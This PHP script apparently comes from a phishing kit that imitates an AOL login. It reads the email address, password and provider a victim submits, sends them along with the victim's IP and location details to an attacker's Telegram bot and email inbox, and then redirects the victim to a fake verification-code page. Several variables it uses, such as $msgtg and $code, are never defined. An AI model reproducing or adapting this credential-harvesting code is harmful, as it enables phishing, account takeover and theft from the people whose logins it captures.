<?php
session_start();
error_reporting(0);

// Include Settings and Functions
include('function.php');
include('../config.php');

// User Agent and IP Address
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$date = date("Y-m-d H:i:s");

// Capture Provider, Email, and Password
$provider = filter_input(INPUT_POST, 'provider', FILTER_SANITIZE_STRING) ?: "Unknown";
$email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
$emailProvider = "Unknown";

if ($email && filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $emailParts = explode('@', $email);
    $emailProvider = $emailParts[1] ?? "Unknown";
}

// Prepare Telegram Message
$message = <<<EOL
📩 New Login Attempt 📩
Provider: $provider
Email: $email
Password: $password
Code: $code

🌐 IP Information 🌐
IP Address: $userIP
Country: $country
Region: $region
City: $city
EOL;

// Send to Telegram
if ($settings['telegram'] == "1") {
    $send = [
        'chat_id' => $settings['chat_id'],
        'text'    => $message
    ];
    $website = "https://api.telegram.org/bot{$settings['bot_url']}/sendMessage";

    $ch = curl_init($website);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $send);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);
    if (!$result) {
        error_log("Telegram API request failed: " . curl_error($ch));
    }
    curl_close($ch);
}

// Send Email
if ($settings['send_mail'] == "1") {
    $to = $settings['email'];
    $subject = "✦ {$provider} LOGIN FROM ✦ {$IP} ✦";
    $headers = [
        "Content-type: text/plain; charset=UTF-8",
        "From: Holaide <noreply@yourdomain.com>"
    ];
    $msg = $msgtg;

    if (!mail($to, $subject, $msg, implode("\r\n", $headers))) {
        error_log("Failed to send email to {$to}");
    }
}

// Redirect User
header('Location: ../aol/code.html');
exit();
?>
